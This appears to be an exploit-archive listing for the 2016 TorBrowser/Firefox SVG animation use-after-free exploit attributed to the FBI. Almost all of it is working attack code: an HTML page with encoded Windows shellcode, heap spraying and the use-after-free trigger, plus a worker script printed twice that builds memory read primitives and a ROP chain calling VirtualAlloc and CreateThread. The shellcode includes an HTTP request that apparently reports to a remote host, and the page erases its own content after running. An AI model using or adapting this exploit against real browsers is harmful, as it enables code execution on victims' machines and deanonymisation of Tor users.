TorBrowser/Firefox Remote use-after-free FBI's exploit

2016.12.02
Credit: firstwatch
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

<html> <head> <script> var thecode ='\ue8fc\u0089\u0000\u8960\u31e5\u64d2\u528b\u8b30\u0c52\u528b\u8b14\u2872\ub70f\u264a\uff31\uc031\u3cac\u7c61\u2c02\uc120\u0dcf\uc701\uf0e2\u5752\u528b\u8b10\u3c42\ud001\u408b\u8578\u74c0\u014a\u50d0\u488b\u8b18\u2058\ud301\u3ce3\u8b49\u8b34\ud601\uff31\uc031\uc1ac\u0dcf\uc701\ue038\uf475\u7d03\u3bf8\u247d\ue275\u8b58\u2458\ud301\u8b66\u4b0c\u588b\u011c\u8bd3\u8b04\ud001\u4489\u2424\u5b5b\u5961\u515a\ue0ff\u5f58\u8b5a\ueb12\u5d86\u858d\u0297\u0000\u6850\u774c\u0726\ud5ff\uc085\u840f\u0185\u0000\u858d\u029e\u0000\u6850\u774c\u0726\ud5ff\uc085\u840f\u016f\u0000\u90bb\u0001\u2900\u54dc\u6853\u8029\u006b\ud5ff\udc01\uc085\u850f\u0155\u0000\u5050\u5050\u5040\u5040\uea68\udf0f\uffe0\u31d5\uf7db\u39d3\u0fc3\u3a84\u0001\u8900\u68c3\u2705\ue21b\u6866\u5000\uc931\uc180\u6602\u8951\u6ae2\u5210\u6853\ua599\u6174\ud5ff\uc085\u0874\u8dfe\u0248\u0000\ud775\u00b8\u0001\u2900\u89c4\u52e2\u5250\ub668\ude49\uff01\u5fd5\uc481\u0100\u0000\uc085\u850f\u00f6\u0000\ue857\u00fa\u0000\u895e\u8dca\ua7bd\u0002\ue800\u00ec\u0000\u834f\u20fa\u057c\u20ba\u0000\u8900\u56d1\ua4f3\u0db9\u0000\u8d00\u8ab5\u0002\uf300\u89a4\u44bd\u0002\u5e00\u6856\u28a9\u8034\ud5ff\uc085\u840f' + '\u00ae\u0000\u8b66\u0a48\u8366\u04f9\u820f\u00a0\u0000\u408d\u8b0c\u8b00\u8b08\ub809\u0100\u0000\u8950\u29e7\u89c4\u57e6\u5156\u6851\u7248\ub8d2\ud5ff\uc085\uc481\u0104\u0000\ub70f\u830f\u06f9\u7072\u06b9\u0000\ub800\u0010\u0000\uc429\ue789\uca89\ue2d1\u5250\ud231\u168a\ud088\uf024\ue8c0\u3c04\u7709\u0404\ueb30\u0402\u8837\u4707\ud088\u0f24\u093c\u0477\u3004\u02eb\u3704\u0788\u4647\ud4e2\u2959\u89cf\u58fe\uc401\ubd8b\u0244\u0000\ua4f3\u36e8\u0000\u3100\u50c0\u2951\u4fcf\u5357\uc268\u38eb\uff5f\uebd5\u6a09\u6800\u1347\u6f72\ud5ff\u6853\u6e75\u614d\ud5ff\uedeb\uc931\ud1f7\uc031\uaef2\ud1f7\uc349\u0000\u0000\u8d03\ua7bd\u0002\ue800\uffe4\uffff\ub94f\u004f\u0000\ub58d\u026e\u0000\ua4f3\ubd8d\u02a7\u0000\ucbe8\uffff\uc3ff\u0a0d\u6341\u6563\u7470\u452d\u636e\u646f\u6e69\u3a67\u6720\u697a\u0d70\u0d0a\u000a\u0a0d\u6f43\u6b6f\u6569\u203a\u434d\u773d\u3273\u335f\u0032\u5049\u4c48\u4150\u4950\u4700\u5445\u2f20\u6130\u3238\u6131\u3038\u302f\u6435\u3063\u3132\u2032\u5448\u5054\u312f\u312e\u0a0d\u6f48\u7473\u203a\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u4190'; var worker = new Worker('cssbanner.js'); worker.postMessage(thecode); var svgns = 'http://www.w3.org/2000/svg'; var heap80 = new Array(0x1000); var heap100 = new Array(0x4000); var block80 = new ArrayBuffer(0x80); var block100 = new ArrayBuffer(0x100); var sprayBase = undefined; var arrBase = undefined; var animateX = undefined; var containerA = undefined; var offset = 0x90; if (/.*Firefox/(4[7-9]|[5-9]d+|[1-9]d{2,})..*/.test(navigator.userAgent)) { offset = 0x88; // versions 47.0 or greater } var $ = function(id) { return document.getElementById(id); } var exploit = function() { var u32 = new Uint32Array(block80) u32[0x2] = arrBase - offset; u32[0x8] = arrBase - offset; u32[0xE] = arrBase - offset; for(i = heap100.length/2; i < heap100.length; i++) { heap100[i] = block100.slice(0) } for(i = 0; i < heap80.length/2; i++) { heap80[i] = block80.slice(0) } animateX.setAttribute('begin', '59s') animateX.setAttribute('begin', '58s') for(i = heap80.length/2; i < heap80.length; i++) { heap80[i] = block80.slice(0) } for(i = heap100.length/2; i < heap100.length; i++) { heap100[i] = block100.slice(0) } animateX.setAttribute('begin', '10s') animateX.setAttribute('begin', '9s') window.dump('PAUSING!!! YAYA'); containerA.pauseAnimations(); } worker.onmessage = function(e) { worker.onmessage = function(e) { window.setTimeout(function() { worker.terminate(); document.body.innerHTML = ''; document.getElementsByTagName('head')[0].innerHTML = ''; document.body.setAttribute('onload', '') }, 1000); } arrBase = e.data; exploit(); } var idGenerator = function() { return 'id' + (((1+Math.random())*0x10000)|0).toString(16).substring(1); } var craftDOM = function() { containerA = document.createElementNS(svgns, 'svg') var containerB = document.createElementNS(svgns, 'svg'); animateX = document.createElementNS(svgns, 'animate') var animateA = document.createElementNS(svgns, 'animate') var animateB = document.createElementNS(svgns, 'animate') var animateC = document.createElementNS(svgns, 'animate') var idX = idGenerator(); var idA = idGenerator(); var idB = idGenerator(); var idC = idGenerator(); animateX.setAttribute('id', idX); animateA.setAttribute('id', idA); animateA.setAttribute('end', '50s'); animateB.setAttribute('id', idB); animateB.setAttribute('begin', '60s'); animateB.setAttribute('end', idC + '.end'); animateC.setAttribute('id', idC); animateC.setAttribute('begin', '10s'); animateC.setAttribute('end', idA + '.end'); containerA.appendChild(animateX) containerA.appendChild(animateA) containerA.appendChild(animateB) containerB.appendChild(animateC) document.body.appendChild(containerA); document.body.appendChild(containerB); } window.onload = craftDOM; // </script> <style> #mtdiv{ position: absolute; width: 960px; height: 166px; z-index: 15; top: 100px; left: 50%; margin: 0 0 0 -480px; } </style> </head> <body bgcolor='#2F3236'> <div id='mtdiv'> <img src='mt.png'/> </div> </body> <script> setTimeout('window.location = 'member.php';', 2000); </script> </html> =================================================================================================== content of "cssbanner.js": self.onmessage = function(msg) { thecode = msg.data; var pack = function (b) { var a = b >> 16; return String.fromCharCode(b & 65535) + String.fromCharCode(a) }; function Memory(b,a,f){this._base_addr=b;this._read=a;this._write=f;this._abs_read=function(a){a>=this._base_addr?a=this._read(a-this._base_addr):(a=4294967295-this._base_addr+1+a,a=this._read(a));return 0>a?4294967295+a+1:a};this._abs_write=function(a,b){a>=this._base_addr?this._write(a-this._base_addr,b):(a=4294967295-this._base_addr+1+a,this._write(a,b))};this.readByte=function(a){return this.read(a)&255};this.readWord=function(a){return this.read(a)&65535};this.readDword=function(a){return this.read(a)}; this.read=function(a,b){if(a%4){var c=this._abs_read(a&4294967292),d=this._abs_read(a+4&4294967292),e=a%4;return c>>>8*e|d<<8*(4-e)}return this._abs_read(a)};this.readStr=function(a){for(var b="",c=0;;){if(32==c)return"";var d=this.readByte(a+c);if(0==d)break;b+=String.fromCharCode(d);c++}return b};this.write=function(a){}} function PE(b,a){this.mem=b;this.export_table=this.module_base=void 0;this.export_table_size=0;this.import_table=void 0;this.import_table_size=0;this.find_module_base=function(a){for(a&=4294901760;a;){if(23117==this.mem.readWord(a))return this.module_base=a;a-=65536}};this._resolve_pe_structures=function(){peFile=this.module_base+this.mem.readWord(this.module_base+60);if(17744!=this.mem.readDword(peFile))throw"Bad NT Signature";this.pe_file=peFile;this.optional_header=this.pe_file+36;this.export_directory= this.module_base+this.mem.readDword(this.pe_file+120);this.export_directory_size=this.mem.readDword(this.pe_file+124);this.import_directory=this.module_base+this.mem.readDword(this.pe_file+128);this.import_directory_size=this.mem.readDword(this.pe_file+132)};this.resolve_imported_function=function(a,b){void 0==this.import_directory&&this._resolve_pe_structures();for(var e=this.import_directory,c=e+this.import_directory_size;e<c;){var d=this.mem.readStr(this.mem.readDword(e+12)+this.module_base);if(a.toUpperCase()== d.toUpperCase()){for(var c=this.mem.readDword(e)+this.module_base,e=this.mem.readDword(e+16)+this.module_base,d=this.mem.readDword(c),f=0;0!=d;){if(this.mem.readStr(d+this.module_base+2).toUpperCase()==b.toUpperCase())return this.mem.readDword(e+4*f);f++;d=this.mem.readDword(c+4*f)}break}e+=20}return 0};void 0!=a&&this.find_module_base(a)} function ROP(b,a){this.mem=b;this.pe=new PE(b,a);this.pe._resolve_pe_structures();this.module_base=this.pe.module_base+4096;this.findSequence=function(a){for(var b=0;;){for(var e=0,c=0;c<a.length;c++)if(this.mem.readByte(this.module_base+b+c)==a[c]&&e==c)e++;else break;if(e==a.length)return this.module_base+b;b++}};this.findStackPivot=function(){return this.findSequence([148,195])};this.findPopRet=function(a){return this.findSequence([88,195])};this.ropChain=function(a,b,e,c){c=void 0!=c?c:new ArrayBuffer(4096); c=new Uint32Array(c);var d=this.findStackPivot(),f=this.findPopRet("EAX"),g=this.pe.resolve_imported_function("kernel32.dll","VirtualAlloc");c[0]=f+1;c[1]=f;c[2]=a+b+4*e+4;c[3]=d;for(i=0;i<e;i++)c[(b>>2)+i]=d;d=(b+4>>2)+e;c[d++]=g;c[d++]=a+(b+4*e+28);c[d++]=a;c[d++]=4096;c[d++]=4096;c[d++]=64;c[d++]=3435973836;return c}} var conv=new ArrayBuffer(8),convf64=new Float64Array(conv),convu32=new Uint32Array(conv),qword2Double=function(b,a){convu32[0]=b;convu32[1]=a;return convf64[0]},doubleFromFloat=function(b,a){convf64[0]=b;return convu32[a]},sprayArrays=function(){for(var b=Array(262138),a=0;262138>a;a++)b[a]=fzero;for(a=0;a<b.length;a+=512)b[a+1]=memory,b[a+21]=qword2Double(0,2),b[a+14]=qword2Double(arrBase+o1,0),b[a+(o1+8)/8]=qword2Double(arrBase+o2,0),b[a+(o2+0)/8]=qword2Double(2,0),b[a+(o2+8)/8]=qword2Double(arrBase+ o3,arrBase+13),b[a+(o3+0)/8]=qword2Double(16,0),b[a+(o3+24)/8]=qword2Double(2,0),b[a+(o3+32)/8]=qword2Double(arrBase+o5,arrBase+o4),b[a+(o4+0)/8]=qword2Double(0,arrBase+o6),b[a+(o5+0)/8]=qword2Double(arrBase+o7,0),b[a+(o6+8)/8]=qword2Double(2,0),b[a+(o7+8)/8]=qword2Double(arrBase+o7+16,0),b[a+(o7+16)/8]=qword2Double(0,4026531840),b[a+(o7+32)/8]=qword2Double(0,3220176896),b[a+(o7+48)/8]=qword2Double(2,0),b[a+(o7+56)/8]=qword2Double(1,0),b[a+(o7+96)/8]=qword2Double(arrBase+o8,arrBase+o8),b[a+(o7+112)/ 8]=qword2Double(arrBase+o9,arrBase+o9+16),b[a+(o7+168)/8]=qword2Double(0,2),b[a+(o9+0)/8]=qword2Double(arrBase+o10,2),b[a+(o10+0)/8]=qword2Double(2,0),b[a+(o10+8)/8]=qword2Double(0,268435456),b[a+(o11+8)/8]=qword2Double(arrBase+o11+16,0),b[a+(o11+16)/8]=qword2Double(0,4026531840),b[a+(o11+32)/8]=qword2Double(0,3220176896),b[a+(o11+48)/8]=qword2Double(2,0),b[a+(o11+56)/8]=qword2Double(1,0),b[a+(o11+96)/8]=qword2Double(arrBase+o8,arrBase+o8),b[a+(o11+112)/8]=qword2Double(arrBase+o9,arrBase+o9+16),b[a+ (o11+168)/8]=qword2Double(0,2);for(a=0;a<spr.length;a++)spr[a]=b.slice(0)},vtable_offset=300;/.*Firefox/(41\.0(\.[1-2]|)|42\.0).*/.test(navigator.userAgent)?vtable_offset=304:/.*Firefox/(4[3-9]|[5-9]\d+|[1-9]\d{2,})\..*/.test(navigator.userAgent)&&(vtable_offset=308); var spr=Array(400),arrBase=805306416,ropArrBuf=new ArrayBuffer(4096),o1=176,o2=256,o3=768,o4=832,o5=864,o6=928,o7=1024,o8=1280,o9=1344,o10=1376,o11=1536,oRop=1792,memory=new Uint32Array(16),len=memory.length,arr_index=0,arr_offset=0;fzero=qword2Double(0,0);0!=thecode.length%2&&(thecode+="\u9090");sprayArrays();postMessage(arrBase); for(memarrayloc=void 0;void 0==memarrayloc;)for(i=0;i<spr.length;i++)for(offset=0;offset<spr[i].length;offset+=512)if("object"!=typeof spr[i][offset+1]){memarrayloc=doubleFromFloat(spr[i][offset+1],0);arr_index=i;arr_offset=offset;spr[i][offset+(o2+0)/8]=qword2Double(65,0);spr[i][offset+(o2+8)/8]=qword2Double(arrBase+o3,memarrayloc+27);for(j=0;33>j;j++)spr[i][offset+(o2+16)/8+j]=qword2Double(memarrayloc+27,memarrayloc+27);spr[i][offset+(o3+8)/8]=qword2Double(0,0);spr[i][offset+(o5+0)/8]=qword2Double(arrBase+ o11,0);spr[i][offset+(o7+168)/8]=qword2Double(0,3);spr[i][offset+(o7+88)/8]=qword2Double(0,2);break}for(;memory.length==len;);var mem=new Memory(memarrayloc+48,function(b){return memory[b/4]},function(b,a){memory[b/4]=a}),xulPtr=mem.readDword(memarrayloc+12);spr[arr_index][arr_offset+1]=ropArrBuf;ropPtr=mem.readDword(arrBase+8);spr[arr_index][arr_offset+1]=null;ropBase=mem.readDword(ropPtr+16);var rop=new ROP(mem,xulPtr);rop.ropChain(ropBase,vtable_offset,10,ropArrBuf); var backupESP=rop.findSequence([137,1,195]),ropChain=new Uint32Array(ropArrBuf);ropChain[0]=backupESP;CreateThread=rop.pe.resolve_imported_function("KERNEL32.dll","CreateThread");for(var i=0;i<ropChain.length&&3435973836!=ropChain[i];i++);ropChain[i++]=3296825488;ropChain[i++]=2048;ropChain[i++]=1347469361;ropChain[i++]=1528949584;ropChain[i++]=3092271187;ropChain[i++]=CreateThread;ropChain[i++]=3096498431;ropChain[i++]=arrBase+16;ropChain[i++]=1955274891;ropChain[i++]=280697892;ropChain[i++]=704643071; ropChain[i++]=2425406428;ropChain[i++]=4294957800;ropChain[i++]=2425393407;for(var j=0;j<thecode.length;j+=2)ropChain[i++]=thecode.charCodeAt(j)+65536*thecode.charCodeAt(j+1);spr[arr_index][arr_offset]=qword2Double(arrBase+16,0);spr[arr_index][arr_offset+3]=qword2Double(0,256);spr[arr_index][arr_offset+2]=qword2Double(ropBase,0);spr[arr_index][arr_offset+(o11+168)/8]=qword2Double(0,3);spr[arr_index][arr_offset+(o11+88)/8]=qword2Double(0,2);postMessage("GREAT SUCCESS"); }; Beautified: self.onmessage = function(msg) { thecode = msg.data; var pack = function (b) { var a = b >> 16; return String.fromCharCode(b & 65535) + String.fromCharCode(a) }; function Memory(b,a,f) { this._base_addr=b; this._read=a; this._write=f; this._abs_read = function(a) { a >= this._base_addr ? a = this._read( a - this._base_addr) : ( a = 4294967295 - this._base_addr + 1 + a, a = this._read(a) ); return 0>a?4294967295+a+1:a }; this._abs_write = function(a,b) { a >= this._base_addr ? this._write(a - this._base_addr, b) : ( a = 4294967295 - this._base_addr + 1 + a, this._write(a,b) ) }; this.readByte = function(a) { return this.read(a) & 255 }; this.readWord = function(a) { return this.read(a) & 65535 }; this.readDword = function(a){ return this.read(a) }; this.read = function(a,b) { if (a%4) { var c = this._abs_read( a & 4294967292), d = this._abs_read( a+4 & 4294967292), e = a%4; return c>>>8*e | d<<8*(4-e) } return this._abs_read(a) }; this.readStr = function(a) { for(var b = "", c = 0;;) { if (32 == c) return ""; var d = this.readByte(a+c); if(0 == d) break; b += String.fromCharCode(d); c++ } return b }; this.write = function(a){} } function PE(b,a) { this.mem = b; this.export_table = this.module_base = void 0; this.export_table_size = 0; this.import_table = void 0; this.import_table_size = 0; this.find_module_base = function(a) { for(a &= 4294901760; a; ) { if(23117 == this.mem.readWord(a)) return this.module_base=a; a -= 65536 } }; this._resolve_pe_structures = function() { peFile = this.module_base + this.mem.readWord(this.module_base+60); if(17744 != this.mem.readDword(peFile)) throw"Bad NT Signature"; this.pe_file = peFile; this.optional_header = this.pe_file+36; this.export_directory = this.module_base+this.mem.readDword(this.pe_file+120); this.export_directory_size = this.mem.readDword(this.pe_file+124); this.import_directory=this.module_base+this.mem.readDword(this.pe_file+128); this.import_directory_size=this.mem.readDword(this.pe_file+132)}; this.resolve_imported_function=function(a,b){ void 0==this.import_directory&&this._resolve_pe_structures(); for(var e=this.import_directory,c=e+this.import_directory_size;e<c;){ var d=this.mem.readStr(this.mem.readDword(e+12)+this.module_base); if(a.toUpperCase()==d.toUpperCase()){ for(var c = this.mem.readDword(e) + this.module_base, e = this.mem.readDword(e+16) + this.module_base, d = this.mem.readDword(c), f = 0 ; 0 !=d ;) { if(this.mem.readStr(d+this.module_base+2).toUpperCase() == b.toUpperCase()) return this.mem.readDword(e+4*f); f++; d = this.mem.readDword(c+4*f) } break } e+=20 } return 0 }; void 0!=a && this.find_module_base(a) } function ROP(b,a){ this.mem = b; this.pe = new PE(b,a); this.pe._resolve_pe_structures(); this.module_base = this.pe.module_base+4096; this.findSequence = function(a) { for(var b=0;;) { for(var e=0,c=0;c<a.length;c++) if(this.mem.readByte(this.module_base+b+c)==a[c]&&e==c) e++; else break; if(e==a.length) return this.module_base+b; b++ } }; this.findStackPivot=function() { return this.findSequence([148,195]) }; this.findPopRet=function(a) { return this.findSequence([88,195]) }; this.ropChain=function(a,b,e,c) { c = void 0 != c ? c : new ArrayBuffer(4096); c = new Uint32Array(c); var d = this.findStackPivot(), f = this.findPopRet("EAX"), g = this.pe.resolve_imported_function("kernel32.dll","VirtualAlloc"); c[0]= f+1; c[1]= f; c[2]= a+b+4*e+4; c[3]= d; for(i=0;i<e;i++) c[(b>>2)+i] = d; d =(b+4>>2)+e; c[d++]=g; c[d++]=a+(b+4*e+28); c[d++]=a; c[d++]=4096; c[d++]=4096; c[d++]=64; c[d++]=3435973836; return c } } var conv=new ArrayBuffer(8), convf64=new Float64Array(conv), convu32=new Uint32Array(conv), qword2Double=function(b,a) { convu32[0]=b; convu32[1]=a; return convf64[0] }, doubleFromFloat = function(b,a) { convf64[0]=b; return convu32[a] }, sprayArrays=function() { for(var b=Array(262138),a=0;262138>a;a++) b[a]=fzero; for(a=0;a<b.length;a+=512) b[a+1] = memory, b[a+21] = qword2Double(0,2), b[a+14] = qword2Double(arrBase+o1,0), b[a+(o1+8)/8] = qword2Double(arrBase+o2,0), b[a+(o2+0)/8] = qword2Double(2,0), b[a+(o2+8)/8] = qword2Double(arrBase+o3,arrBase+13), b[a+(o3+0)/8] = qword2Double(16,0), b[a+(o3+24)/8] = qword2Double(2,0), b[a+(o3+32)/8] = qword2Double(arrBase+o5,arrBase+o4), b[a+(o4+0)/8] = qword2Double(0,arrBase+o6), b[a+(o5+0)/8] = qword2Double(arrBase+o7,0), b[a+(o6+8)/8] = qword2Double(2,0), b[a+(o7+8)/8] = qword2Double(arrBase+o7+16,0), b[a+(o7+16)/8] = qword2Double(0,4026531840), b[a+(o7+32)/8] = qword2Double(0,3220176896), b[a+(o7+48)/8] = qword2Double(2,0), b[a+(o7+56)/8] = qword2Double(1,0), b[a+(o7+96)/8] = qword2Double(arrBase+o8,arrBase+o8), b[a+(o7+112)/8] = qword2Double(arrBase+o9,arrBase+o9+16), b[a+(o7+168)/8] = qword2Double(0,2), b[a+(o9+0)/8] = qword2Double(arrBase+o10,2), b[a+(o10+0)/8] = qword2Double(2,0), b[a+(o10+8)/8] = qword2Double(0,268435456), b[a+(o11+8)/8] = qword2Double(arrBase+o11+16,0), b[a+(o11+16)/8] = qword2Double(0,4026531840), b[a+(o11+32)/8] = qword2Double(0,3220176896), b[a+(o11+48)/8] = qword2Double(2,0), b[a+(o11+56)/8] = qword2Double(1,0), b[a+(o11+96)/8] = qword2Double(arrBase+o8,arrBase+o8), b[a+(o11+112)/8] = qword2Double(arrBase+o9,arrBase+o9+16), b[a+(o11+168)/8] = qword2Double(0,2); for(a=0;a<spr.length;a++) spr[a]=b.slice(0) }, vtable_offset=300; /.*Firefox\/(41\.0(\.[1-2]|)|42\.0).*/.test(navigator.userAgent)? vtable_offset=304 : /.*Firefox\/(4[3-9]|[5-9]\d+|[1-9]\d{2,})\..*/.test(navigator.userAgent) && (vtable_offset=308); var spr=Array(400), arrBase=805306416, ropArrBuf=new ArrayBuffer(4096), o1=176, o2=256, o3=768, o4=832, o5=864, o6=928, o7=1024, o8=1280, o9=1344, o10=1376, o11=1536, oRop=1792, memory=new Uint32Array(16), len=memory.length, arr_index=0, arr_offset=0; fzero=qword2Double(0,0); 0!=thecode.length%2&&(thecode+="\u9090"); sprayArrays(); postMessage(arrBase); for(memarrayloc=void 0;void 0==memarrayloc;) for(i=0;i<spr.length;i++) for(offset=0;offset<spr[i].length;offset+=512) if("object" != typeof spr[i][offset+1]) { memarrayloc=doubleFromFloat(spr[i][offset+1],0); arr_index=i; arr_offset=offset; spr[i][offset+(o2+0)/8]=qword2Double(65,0); spr[i][offset+(o2+8)/8]=qword2Double(arrBase+o3,memarrayloc+27); for(j=0;33>j;j++) spr[i][offset+(o2+16)/8+j]=qword2Double(memarrayloc+27,memarrayloc+27); spr[i][offset+(o3+8)/8]=qword2Double(0,0); spr[i][offset+(o5+0)/8]=qword2Double(arrBase+o11,0); spr[i][offset+(o7+168)/8]=qword2Double(0,3); spr[i][offset+(o7+88)/8]=qword2Double(0,2); break } for(;memory.length==len;); var mem=new Memory(memarrayloc+48, function(b){return memory[b/4]}, function(b,a){memory[b/4]=a}), xulPtr=mem.readDword(memarrayloc+12); spr[arr_index][arr_offset+1]=ropArrBuf; ropPtr=mem.readDword(arrBase+8); spr[arr_index][arr_offset+1]=null; ropBase=mem.readDword(ropPtr+16); var rop=new ROP(mem,xulPtr); rop.ropChain(ropBase,vtable_offset,10,ropArrBuf); var backupESP=rop.findSequence([137,1,195]), ropChain=new Uint32Array(ropArrBuf); ropChain[0]=backupESP; CreateThread=rop.pe.resolve_imported_function("KERNEL32.dll","CreateThread"); for(var i=0;i<ropChain.length&&3435973836!=ropChain[i];i++); ropChain[i++]=3296825488; ropChain[i++]=2048; ropChain[i++]=1347469361; ropChain[i++]=1528949584; ropChain[i++]=3092271187; ropChain[i++]=CreateThread; ropChain[i++]=3096498431; ropChain[i++]=arrBase+16; ropChain[i++]=1955274891; ropChain[i++]=280697892; ropChain[i++]=704643071; ropChain[i++]=2425406428; ropChain[i++]=4294957800; ropChain[i++]=2425393407; for (var j=0;j<thecode.length;j+=2) ropChain[i++]=thecode.charCodeAt(j)+65536*thecode.charCodeAt(j+1); spr[arr_index][arr_offset]=qword2Double(arrBase+16,0); spr[arr_index][arr_offset+3]=qword2Double(0,256); spr[arr_index][arr_offset+2]=qword2Double(ropBase,0); spr[arr_index][arr_offset+(o11+168)/8]=qword2Double(0,3); spr[arr_index][arr_offset+(o11+88)/8]=qword2Double(0,2); postMessage("GREAT SUCCESS"); };

References:

https://lists.torproject.org/pipermail/tor-talk/2016-November/042639.html
https://www.kb.cert.org/vuls/id/791496


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